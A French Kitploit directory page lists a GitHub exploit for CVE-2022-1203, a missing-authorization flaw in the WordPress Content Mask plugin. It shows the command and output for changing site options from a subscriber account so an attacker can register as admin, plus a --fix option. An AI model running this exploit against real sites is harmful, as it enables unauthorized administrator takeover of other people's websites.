Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-1203 — Content Mask < 1.8.4 - Subscriber+ Mise à jour arbitraire d'options | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2022-1203
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationMauvaise Configuration
GitHubrandomrobbiebf/cve-2022-1203

CVE-2022-1203

Content Mask < 1.8.4 - Subscriber+ Mise à jour arbitraire d'options

Voir le dépôt
22il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-1203

Content Mask < 1.8.4 - Abonné+ Mise à jour arbitraire des options

Description

Le plugin WordPress Content Mask avant la version 1.8.4.1 ne dispose pas d'autorisation et de vérifications CSRF dans diverses actions AJAX, et ne valide pas non plus l'option à mettre à jour pour s'assurer qu'elle appartient au plugin. En conséquence, tout utilisateur authentifié, comme un abonné, pourrait modifier des options arbitraires du blog.

Comment utiliser

Exploitation

root@kitploit:~

$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.

Correction

root@kitploit:~
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register
Télécharger l’outil